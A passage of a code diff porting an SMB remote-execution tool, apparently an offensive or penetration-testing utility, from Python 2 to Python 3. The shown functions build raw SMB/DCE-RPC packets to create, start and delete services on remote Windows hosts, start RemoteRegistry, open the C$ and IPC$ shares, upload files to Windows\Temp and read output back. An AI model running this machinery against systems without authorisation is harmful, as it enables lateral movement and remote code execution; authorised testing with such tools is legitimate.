data[len(data)-4:] == "\x05\x00\x00\x00": - print "[+] Failed to start the service.\n" + if data[8:10] == b"\x25\x00": + if data[len(data)-4:] == b"\x05\x00\x00\x00": + print("[+] Failed to start the service.\n") return ModifySMBRetCode(data) - head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) w = SMBDCESVCCTLQueryService(ContextHandle=ContextHandlerService) x = SMBDCEPacketData(Opnum="\x06\x00",Data=w) x.calculate() - t = SMBTransDCERPC(FID=f,Data=x) + t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) ## DCE/RPC SVCCTLControlService, stop operation. - if data[8:10] == "\x25\x00": - if data[len(data)-4:] == "\x05\x00\x00\x00": - print "[+] Failed to query the service.\n" + if data[8:10] == b"\x25\x00": + if data[len(data)-4:] == b"\x05\x00\x00\x00": + print("[+] Failed to query the service.\n") return ModifySMBRetCode(data) - head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) w = SMBDCESVCCTLControlService(ContextHandle=ContextHandlerService,ControlOperation = "\x01\x00\x00\x00") x = SMBDCEPacketData(Opnum="\x01\x00",Data=w) x.calculate() - t = SMBTransDCERPC(FID=f,Data=x) + t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) ## DCE/RPC SVCCTLDeleteService. - if data[8:10] == "\x25\x00": - if data[len(data)-4:] == "\x05\x00\x00\x00": - print "[+] Failed to start the service.\n" + if data[8:10] == b"\x25\x00": + if data[len(data)-4:] == b"\x05\x00\x00\x00": + print("[+] Failed to start the service.\n") return ModifySMBRetCode(data) - head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) w = SMBDCESVCCTLDeleteService(ContextHandle=ContextHandlerService) x = SMBDCEPacketData(Opnum="\x02\x00",Data=w) x.calculate() - t = SMBTransDCERPC(FID=f,Data=x) + t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) ## DCE/RPC SVCCTLCloseService - if data[8:10] == "\x25\x00": - if data[len(data)-4:] == "\x05\x00\x00\x00": - print "[+] Failed to delete the service.\n" + if data[8:10] == b"\x25\x00": + if data[len(data)-4:] == b"\x05\x00\x00\x00": + print("[+] Failed to delete the service.\n") return ModifySMBRetCode(data) - head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) w = SMBDCESVCCTLCloseService(ContextHandle=ContextHandlerService) x = SMBDCEPacketData(Opnum="\x00\x00",Data=w) x.calculate() - t = SMBTransDCERPC(FID=f,Data=x) + t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) - return data, s, f + return data, s, f ########################### @@ -975,186 +1015,186 @@ def CreateService(Command, ServiceNameChars, ServiceIDChars, f, host, data, s): ########################### def StartWinregService(f, host, data, s): ## DCE/RPC SVCCTLOpenManagerW. - if data[8:10] == "\x2e\x00": - head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + if data[8:10] == b"\x2e\x00": + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x02\x00", MachineName=host) w.calculate() x = SMBDCEPacketData(Data=w) x.calculate() - t = SMBTransDCERPC(FID=f,Data=x) + t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) ##Error handling. - if data[8:10] == "\x2e\x00": - if data[len(data)-4:] == "\x05\x00\x00\x00": - print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?\n" + if data[8:10] == b"\x2e\x00": + if data[len(data)-4:] == b"\x05\x00\x00\x00": + print("[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?\n") return ModifySMBRetCode(data) ## DCE/RPC SVCCTLOpenService. - if data[8:10] == "\x25\x00": - if data[len(data)-4:] == "\x05\x00\x00\x00": - print "[+] Failed to create the service\n" + if data[8:10] == b"\x25\x00": + if data[len(data)-4:] == b"\x05\x00\x00\x00": + print("[+] Failed to create the service\n") return ModifySMBRetCode(data) #print "[+] Service name: %s with display name: %s successfully created"%(ServiceNameChars, ServiceIDChars) #ContextHandlerService = data[88:108] - ContextHandler = data[84:104] - head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + ContextHandler = data[84:104].decode('latin-1') + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0a\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName="RemoteRegistry") w.calculate() x = SMBDCEPacketData(Opnum="\x10\x00",Data=w) x.calculate() - t = SMBTransDCERPC(FID=f,Data=x) + t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) ## DCE/RPC SVCCTLStartService. - if data[8:10] == "\x25\x00": - if data[len(data)-4:] == "\x05\x00\x00\x00": - print "[+] Failed to open the service.\n" + if data[8:10] == b"\x25\x00": + if data[len(data)-4:] == b"\x05\x00\x00\x00": + print("[+] Failed to open the service.\n") return ModifySMBRetCode(data) - ContextHandlerService = data[84:104] - head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + ContextHandlerService = data[84:104].decode('latin-1') + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) w = SMBDCESVCCTLStartService(ContextHandle=ContextHandlerService) x = SMBDCEPacketData(Opnum="\x13\x00",Data=w) x.calculate() - t = SMBTransDCERPC(FID=f,Data=x) + t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) ## DCE/RPC SVCCTLQueryService. - if data[8:10] == "\x25\x00": - if data[len(data)-4:] == "\x05\x00\x00\x00": - print "[+] Failed to start the service.\n" + if data[8:10] == b"\x25\x00": + if data[len(data)-4:] == b"\x05\x00\x00\x00": + print("[+] Failed to start the service.\n") return ModifySMBRetCode(data) - head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) w = SMBDCESVCCTLQueryService(ContextHandle=ContextHandlerService) x = SMBDCEPacketData(Opnum="\x06\x00",Data=w) x.calculate() - t = SMBTransDCERPC(FID=f,Data=x) + t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) - + time.sleep(3) ## DCE/RPC SVCCTLCloseService - if data[8:10] == "\x25\x00": - if data[len(data)-4:] == "\x05\x00\x00\x00": - print "[+] Failed to query the service.\n" + if data[8:10] == b"\x25\x00": + if data[len(data)-4:] == b"\x05\x00\x00\x00": + print("[+] Failed to query the service.\n") return ModifySMBRetCode(data) - head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) w = SMBDCESVCCTLCloseService(ContextHandle=ContextHandlerService) x = SMBDCEPacketData(Opnum="\x00\x00",Data=w) x.calculate() - t = SMBTransDCERPC(FID=f,Data=x) + t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) - return data, s, f + return data, s, f ########################### #Stop Winreg Service ########################### def StopWinregService(f, host, data, s): ## DCE/RPC SVCCTLOpenManagerW. - if data[8:10] == "\x2e\x00": - head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + if data[8:10] == b"\x2e\x00": + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x02\x00", MachineName=host) w.calculate() x = SMBDCEPacketData(Data=w) x.calculate() - t = SMBTransDCERPC(FID=f,Data=x) + t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) ##Error handling. - if data[8:10] == "\x2e\x00": - if data[len(data)-4:] == "\x05\x00\x00\x00": - print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?\n" + if data[8:10] == b"\x2e\x00": + if data[len(data)-4:] == b"\x05\x00\x00\x00": + print("[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?\n") return ModifySMBRetCode(data) ## DCE/RPC SVCCTLOpenService. - if data[8:10] == "\x25\x00": - if data[len(data)-4:] == "\x05\x00\x00\x00": - print "[+] Failed to create the service\n" + if data[8:10] == b"\x25\x00": + if data[len(data)-4:] == b"\x05\x00\x00\x00": + print("[+] Failed to create the service\n") return ModifySMBRetCode(data) #print "[+] Service name: %s with display name: %s successfully created"%(ServiceNameChars, ServiceIDChars) #ContextHandlerService = data[88:108] - ContextHandler = data[84:104] - head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + ContextHandler = data[84:104].decode('latin-1') + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0a\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName="RemoteRegistry") w.calculate() x = SMBDCEPacketData(Opnum="\x10\x00",Data=w) x.calculate() - t = SMBTransDCERPC(FID=f,Data=x) + t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) ## DCE/RPC SVCCTLStartService. - if data[8:10] == "\x25\x00": - if data[len(data)-4:] == "\x05\x00\x00\x00": - print "[+] Failed to open the service.\n" + if data[8:10] == b"\x25\x00": + if data[len(data)-4:] == b"\x05\x00\x00\x00": + print("[+] Failed to open the service.\n") return ModifySMBRetCode(data) - ContextHandlerService = data[84:104] - head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + ContextHandlerService = data[84:104].decode('latin-1') + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) w = SMBDCESVCCTLControlService(ContextHandle=ContextHandlerService) x = SMBDCEPacketData(Opnum="\x01\x00",Data=w) x.calculate() - t = SMBTransDCERPC(FID=f,Data=x) + t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) ## DCE/RPC SVCCTLQueryService. - if data[8:10] == "\x25\x00": - if data[len(data)-4:] == "\x05\x00\x00\x00": - print "[+] Failed to stop the service.\n" + if data[8:10] == b"\x25\x00": + if data[len(data)-4:] == b"\x05\x00\x00\x00": + print("[+] Failed to stop the service.\n") return ModifySMBRetCode(data) - head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) w = SMBDCESVCCTLQueryService(ContextHandle=ContextHandlerService) x = SMBDCEPacketData(Opnum="\x06\x00",Data=w) x.calculate() - t = SMBTransDCERPC(FID=f,Data=x) + t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) ## DCE/RPC SVCCTLCloseService - if data[8:10] == "\x25\x00": - if data[len(data)-4:] == "\x05\x00\x00\x00": - print "[+] Failed to query the service.\n" + if data[8:10] == b"\x25\x00": + if data[len(data)-4:] == b"\x05\x00\x00\x00": + print("[+] Failed to query the service.\n") return ModifySMBRetCode(data) - head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) w = SMBDCESVCCTLCloseService(ContextHandle=ContextHandlerService) x = SMBDCEPacketData(Opnum="\x00\x00",Data=w) x.calculate() - t = SMBTransDCERPC(FID=f,Data=x) + t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) - return data, s, f + return data, s, f ########################### @@ -1163,23 +1203,23 @@ def StopWinregService(f, host, data, s): def CloseFID(f, data, s): ##Close FID Request - if data[8:10] == "\x25\x00": - head = SMBHeader(cmd="\x04",flag1="\x18", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") - t = CloseRequest(FID = f) + if data[8:10] == b"\x25\x00": + head = SMBHeader(cmd="\x04",flag1="\x18", flag2="\x00\x10",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x11\x00") + t = CloseRequest(FID = f.decode('latin-1')) packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 - s.send(buffer1) + buffer1 = longueur(packet1)+packet1 + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) return data, s def SMBDCERPCCloseFID(f, data, s): ##Close FID Request - if data[8:10] == "\x2e\x00": - head = SMBHeader(cmd="\x04",flag1="\x18", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") - t = CloseRequest(FID = f) + if data[8:10] == b"\x2e\x00": + head = SMBHeader(cmd="\x04",flag1="\x18", flag2="\x00\x10",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x11\x00") + t = CloseRequest(FID = f.decode('latin-1')) packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 - s.send(buffer1) + buffer1 = longueur(packet1)+packet1 + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) return data, s @@ -1188,126 +1228,135 @@ def SMBDCERPCCloseFID(f, data, s): ########################### def SMBOpenFile(Filename, Share, Host, Access, data, s): + if isinstance(data, str): + data.encode('latin-1') ##Start with a Tree connect on C$ - head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x10\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x10\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) t = SMBTreeConnectData(Path="\\\\"+Host+"\\"+Share+"$") t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) ##OpenAndX. - if data[8:10] == "\x75\x00": - head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") + if data[8:10] == b"\x75\x00": + head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x11\x00") t = OpenAndX(File=Filename, OpenFunc="\x01\x00", Flags="\x07\x00", DesiredAccess=Access) t.calculate() packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 - s.send(buffer1) + buffer1 = longueur(packet1)+packet1 + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) - if data[8:10] == "\x2d\x22": - print "[+] Can't open the file, access is denied (write protected file?)." + if data[8:10] == b"\x2d\x22": + print("[+] Can't open the file, access is denied (write protected file?).") f = "A" #Don't throw an exception at the calling function because there's not enough value to unpack. #We'll recover that connection.. return data, s, f - if data[8:10] == "\x2d\x43": - time.sleep(1) - head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") + if data[8:10] == b"\x2d\x43": + print("[+] Sharing violation, waiting a bit and attempting again.") + time.sleep(2) + head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x11\x00") t = OpenAndX(File=Filename, OpenFunc="\x01\x00",DesiredAccess=Access) t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) - if data[8:10] == "\x2d\x00":##Found all good. + if data[8:10] == b"\x2d\x00":##Found all good. f = data[41:43] return data, s, f - if data[8:10] == "\x2d\x34":#not found + if data[8:10] == b"\x2d\x34":#not found time.sleep(2)#maybe still processing the cmd. Be patient, then grab it again. - head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") + head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x11\x00") t = OpenAndX(File=Filename, OpenFunc="\x01\x00") t.calculate() packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 - s.send(buffer1) + buffer1 = longueur(packet1)+packet1 + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) ##OpenAndX. - if data[8:10] == "\x2d\x34": - print "[+] The command failed or took to long to complete." + if data[8:10] == b"\x2d\x34": + print("[+] The command failed or took to long to complete.") return data, s ##all good. - if data[8:10] == "\x2d\x00": - f = data[41:43] - return data, s, f + if data[8:10] == b"\x2d\x00": + f = data[41:43] + return data, s, f ########################### #Open a file for writing ########################### def SMBOpenFileForWriting(Filename, FileSize, FileContent, Share, Host, Access, data, s): + if isinstance(data, str): + data = data.encode('latin-1') ##Start with a Tree connect on C$ - head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x10\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x10\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) t = SMBTreeConnectData(Path="\\\\"+Host+"\\"+Share+"$") t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) ##NtCreate. - if data[8:10] == "\x75\x00": - head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") + if data[8:10] == b"\x75\x00": + head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x11\x00") t = SMBNTCreateData(FileName="Windows\\Temp\\"+Filename, CreateFlags="\x00\x00\x00\x00", AccessMask="\x96\x01\x03\x00",FileAttrib="\x20\x00\x00\x00", ShareAccess="\x00\x00\x00\x00", Disposition = "\x02\x00\x00\x00", CreateOptions="\x44\x00\x00\x00") t.calculate() packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 - s.send(buffer1) + buffer1 = longueur(packet1)+packet1 + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) - if data[8:10] == "\xa2\x22": - print "[+] Can't open the file, access is denied (write protected file?)." + if data[8:10] == b"\xa2\x22": + print("[+] Can't open the file, access is denied (write protected file?).") f = "A" #Don't throw an exception at the calling function because there's not enough value to unpack. #We'll recover that connection.. return data, s, f - if data[8:10] == "\xa2\x35": - print "[+] Name collision, this file already exist in windows/temp/. Try: delete /windows/Temp/"+Filename + if data[8:10] == b"\xa2\x35": + print("[+] Name collision, this file already exist in windows/temp/. Try: delete /windows/Temp/"+Filename) f = "A" #Don't throw an exception at the calling function because there's not enough value to unpack. #We'll recover that connection.. return data, s, f - if data[8:10] == "\xa2\x00":##Found, all good. + if data[8:10] == b"\xa2\x00":##Found, all good. f = data[42:44] return data, s, f ##OpenAndX. - if data[8:10] == "\xa2\x34": - print "[+] The command failed or took to long to complete." + if data[8:10] == b"\xa2\x34": + print("[+] The command failed or took to long to complete.") return data, s ##all good. - if data[8:10] == "\xa2\x00": - f = data[41:43] - return data, s, f + if data[8:10] == b"\xa2\x00": + f = data[41:43] + return data, s, f ########################### #Open an IPC$ channel. ########################### def SMBOpenPipe(Host, data, s): + if isinstance(data, str): + data = data.encode('latin-1') + else: + pass ##Start with a Tree connect on IPC$ - head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x10\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x10\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) t = SMBTreeConnectData(Path="\\\\"+Host+"\\IPC$") t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) return data, s @@ -1317,11 +1366,11 @@ def SMBOpenPipe(Host, data, s): def CloseTID(data, s): ##Start with a Tree connect on IPC$ - head = SMBHeader(cmd="\x71",flag1="\x18", flag2="\x07\xc8",mid="\x10\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + head = SMBHeader(cmd="\x71",flag1="\x18", flag2="\x07\xc8",mid="\x10\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) t = SMBTreeDisconnect() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) return data, s @@ -1330,58 +1379,60 @@ def CloseTID(data, s): ########################### def GrabAndRead(f, Filename, data, s): ##ReadRequest. - if data[8:10] == "\x2d\x00": - ##grab the filesize from the OpenAndX response. - filesize = struct.unpack(" 65520. - first = filesize-65520 - if first <= 65520: - count_number = 1 - else: - count_number = int(first/65520)+1 - count = 0 - dataoffset = 0 - bar = 80 - for i in xrange(count_number): - count = count+1 - alreadydone = int(round(80 * count / float(count_number))) - pourcent = round(100.0 * count / float(count_number), 1) - progress = '=' * alreadydone + '-' * (80 - alreadydone) - sys.stdout.write('[%s] %s%s\r' % (progress, pourcent, '%')) - sys.stdout.flush() - dataoffset = dataoffset + 65520 - data, s, out = ReadOutput(struct.pack("60: - minutes = Seconds/60 - print 'Downloaded in: %.3g minutes.'%(minutes) - if Seconds<60: - print 'Downloaded in: %.3g seconds'%(Seconds) + if data[8:10] == b"\x2d\x00": + ##grab the filesize from the OpenAndX response. + filesize = struct.unpack(" 65520. + first = filesize-65520 + if first <= 65520: + count_number = 1 + else: + count_number = int(first/65520)+1 + count = 0 + dataoffset = 0 + bar = 80 + for i in range(count_number): + count = count+1 + alreadydone = int(round(80 * count / float(count_number))) + pourcent = round(100.0 * count / float(count_number), 1) + progress = '=' * alreadydone + '-' * (80 - alreadydone) + sys.stdout.write('[%s] %s%s\r' % (progress, pourcent, '%')) + sys.stdout.flush() + dataoffset = dataoffset + 65520 + data, s, out = ReadOutput(StructWithLenPython2or3("60: + minutes = Seconds/60 + print('Downloaded in: %.3g minutes.'%(minutes)) + if Seconds<60: + print('Downloaded in: %.3g seconds'%(Seconds)) + if isinstance(data, str): + data = data.encode('latin-1') ##Close Request - if data[8:10] == "\x2e\x00": - head = SMBHeader(cmd="\x04",flag1="\x18", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") - t = CloseRequest(FID = f) + if data[8:10] == b"\x2e\x00": + head = SMBHeader(cmd="\x04",flag1="\x18", flag2="\x00\x10",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x11\x00") + t = CloseRequest(FID = f.decode('latin-1')) packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 - s.send(buffer1) + buffer1 = longueur(packet1)+packet1 + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) return data, s, Output @@ -1390,54 +1441,54 @@ def GrabAndRead(f, Filename, data, s): ########################### def UploadAndWrite(f, FileSize, FileContent, data, s): ##WriteRequest for a small file. - if data[8:10] == "\xa2\x00" and FileSize <= 29999: - head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x12\x00") - t = SMBWriteData(FID=f, Data=FileContent) - t.calculate() - packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 - s.send(buffer1) - data = s.recv(2048) + if data[8:10] == b"\xa2\x00" and int(FileSize) <= 29999: + head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x00\x10",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x12\x00") + t = SMBWriteData(FID=f.decode('latin-1'), Data=FileContent) + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(NetworkSendBufferPython2or3(buffer1)) + data = s.recv(2048) ##WriteRequest for 